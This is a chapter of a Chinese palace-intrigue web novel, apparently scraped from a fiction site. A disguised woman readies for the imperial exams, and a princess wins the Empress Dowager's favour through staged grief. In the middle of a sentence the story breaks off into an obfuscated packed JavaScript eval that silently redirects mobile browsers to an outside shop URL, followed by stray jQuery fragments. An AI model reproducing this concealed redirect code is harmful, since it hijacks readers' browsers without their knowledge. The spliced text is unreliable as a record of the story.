文趣网 > 都市小说 > 阙下 > 4. 进展
    千里之外的南淮张家,张玉振正在屋内练习书法。

    写得入神之时,侍女鹿韭匆匆从门外走来:“公子,老爷喊你去书房。”

    “知道了。”张玉振答道。

    说着,张玉振放下毛笔,又看了看自己刚写的字,随后便往书房走去。

    叩响房门,随着屋内一声“进”,张玉振推门而入。

    “父亲,你找我。”张玉振恭敬地行礼道。

    屋内,书桌前的男人问道:“玉振啊,过几日就要启程了,东西收拾得怎么样了?”

    “都差不多了。”

    “嗯,你这孩子向来稳重,比你那不成器的哥哥上进多了。为父很欣慰啊……”

    说着,他站起身来走近,拍着张玉振的肩膀嘱咐道:“你要记住,天都不比南淮,天子脚下、人多眼杂,凡事都要格外当心。特别是——”

    他凑近张玉振的耳朵,压低声音:“你的女子身份,一定要藏好!”

    “女扮男装参加科举,一旦被发现,你是难逃一死。而我们张家、你舅舅齐家、婶婶吴家……上下几百口人,都要跟着遭殃!”

    他又说:“如遇到难事,可向祝朝求助。我张家好吃好喝供她五年,也该她回报了。”

    张玉振咬了咬牙,回道:“是,孩儿记下了。”

    见她应下了,张父十分满意,笑着替她整理着衣领:“好孩子,以你的才华,中榜指日可待。光耀我张家门楣的事就交付给你了。”

    “父亲放心,孩儿一定全力以赴。”张玉振答道。

    随后张父又嘱咐了几句话,恰逢有宾客拜访,他便让张玉振回去,自己则出门迎客去了。

    回到自己的院子里,看到那株和祝朝一起种下的柳树苗又长高了许多,她心里不禁感慨万分。

    此时此刻,她只想快点见到祝朝。

    同一天,正值尚书房休沐。

    早膳过后,祝朝前往祥宁宫。

    农历二月初,春寒料峭、乍暖还寒,春风中还带着丝丝寒意。

    “劳烦姑姑通传,我来向太后请安。”祝朝对着门外的掌事宫女说道。

    没多久,宫女折返回来,行礼道:“殿下请吧。”

    走入室内,只见床榻上歪躺着一位老妇人,宫女正伏在床下为她捶腿。毫无疑问,这老妇人便是当朝太后。

    “儿臣给太后请安。”祝朝恭敬地行礼。

    太后抬了抬手,笑道:“快起来。”

    说着,她又拍了拍自己身前的床榻,示意祝朝坐过来。

    不及太后说话,一太监入内通传:“太后,秦公子来为您请安了。”

    “快快,快请进来。”一听秦珩来了,太后顿时喜笑颜开,眼角笑出密密的细纹。

    秦珩从外走进,身上还带着屋外的寒气。

    他刚要行礼,却被太后拦住了:“哀家说了,你不用行礼。你这孩子就是太懂事了。”

    说话间,太后身边的刘姑姑搬来了一把椅子。

    秦珩顺势坐下,谢道:“秦珩谢过太后。”

    祝朝打量着他,平日里他就穿的素净,今日更是十分简朴,一身玄衣单调的连花纹都没有。

    显然太后也注意到了这点,皱眉嗔怪道:“怎穿的这样素净?内务府没有给你送新的春衣吗?”

    “回太后,我这样是有原因的……”秦珩作出踌躇的样子,似下定了某种决心,继续说,“快到我父亲的忌日了,这些日子我不想穿的太花哨。还望太后见谅。”

    听罢,太后欣慰地点点头:“为人子,这些是应该的。”

    就在此时,祝朝叹了几口气,引起了太后的注意。

    太后问道:“朝儿,你怎么了?”

    祝朝强忍着眼泪,眼眶微红,声音哽咽着:“回祖母,儿臣想起了自己的母妃……当年父皇想为母妃追封,却没能成功。如今见秦公子能为自己的父亲尽孝,儿臣却连为母妃请封都做不到,真是枉为人子。”

    祝朝越说越伤心,两行眼泪扑簌簌落下。

    看她哭得梨花带雨,秦珩不由得想到了自己逝去的亲人,竟莫名跟着难过起来。

    伤心之时,他情不自禁将自己的手帕递了过去。

    祝朝接过,抹了抹眼泪。

    看着眼前的两人,太后沉默了片刻。

    半晌,她摸着祝朝的头安慰道:“朝儿啊,别哭了,祖母看着也伤心。”

    她抬头思考着:“祖母记得……门下侍郎魏将军已经回都了,过两日祖母安排他在猎亭教授骑射。你父皇的寿辰要到了,你和珩儿都要跟着魏将军好好练,知道了吗?”

    听到这话,祝朝心中早已喜出望外,面上仍装出伤心的样子:“谢祖母,儿臣一定尽心学习。”

    随后几人又闲聊了几句,一同用了午膳。

    膳后,太后要午睡。

    祝朝和秦珩正准备离开,才走到门口,太后又叫住了他们:“珩儿,你把朝儿送回宫吧。”

    门口两人迅速交换了一下眼神,随后,秦珩便应下了。

    初春,刚长出几片绿叶的枝头上落着几只鸟儿,叽叽喳喳的鸟叫声不绝于耳。

    祝朝边走边听,只

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610460|205917||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    觉得身心舒畅——事请有了进展,她的心情松快了不少,步伐都轻快了起来。

    察觉到她的情绪,秦珩的心情竟也跟着好了起来,他轻笑道:“看来殿下很有把握?”

    祝朝回过头看他,笑道:“父皇素来尚武,不少人在射猎大赛上夺得头筹从此平步青云。我虽然没有把握获得头筹,但只要表现出色、能让父皇亲睐,就足够了。”

    秦珩点点头,又问:“论骑射,大皇子算是数一数二,不知殿下可会骑马?”

    祝朝笑了笑,眉眼间却流露出一股淡淡的忧伤:“我五岁便会骑马,比大哥还早呢。是父皇亲自教我的,那时候他常常抱着我骑马,母妃就在旁边看着……”

    气氛一时间低沉起来。

    秦珩自觉失言,引起了祝朝的伤心事,便岔开话题说起了别的。

    说话间,明泉宫便到了。

    “殿下慢走。”

    二人拜别,目送祝朝入内后,秦珩便转身回宫去了。

    还没走出去两步,松烟就急切地上前问道:“公子,太后特意让您送四殿下回宫,这是何意?”

    秦珩冷眼看了他一眼,他立刻噤了声——他意识到自己犯了错:路上人多眼杂,这些话被有心之人听去后果不堪设想。

    回到寝宫,秦珩喝了口茶,又屏退了左右。

    他缓缓说道:“我知道太后对我很好,视我为亲孙,她老人家一直想让我留在京城。但若日后我科举入仕,凭陛下对我的态度……我八成会被派到地方任职。”

    松烟很快就明白了:“所以太后想让您……”

    秦珩又看了他一眼,松烟便没再往下说。

    但松烟心里已然明白:皇帝的女儿可以在京城修建公主府居住,她的驸马自然也可以留在京城。

    但前提是皇帝足够喜爱这个女儿,这想必也是太后愿意帮助祝朝的一个重要因素。

    “可是,公子……”松烟犹豫了一下,还是问出了口:“他们就如此不喜欢四殿下吗?她上次还带了糕饼给我,我还挺喜欢她的。”

    秦珩端详着手中的竹纹茶盏,沉默良久:“天家无情,自古如此。”

    说这话时,他的神情十分淡漠,垂下的睫毛遮住双眸,看不清他眼底涌动的情绪。

    很快,秦珩起身往书房走去,吩咐道:“松烟,来替我磨墨。”

    “是。”松烟放下手中的东西,快步跟了上去。

    从白天到黑夜,为了一个月后的春闱,秦珩不敢有半点松懈。

    书房内灯火摇曳,这或许又是一个挑灯夜读的不眠夜。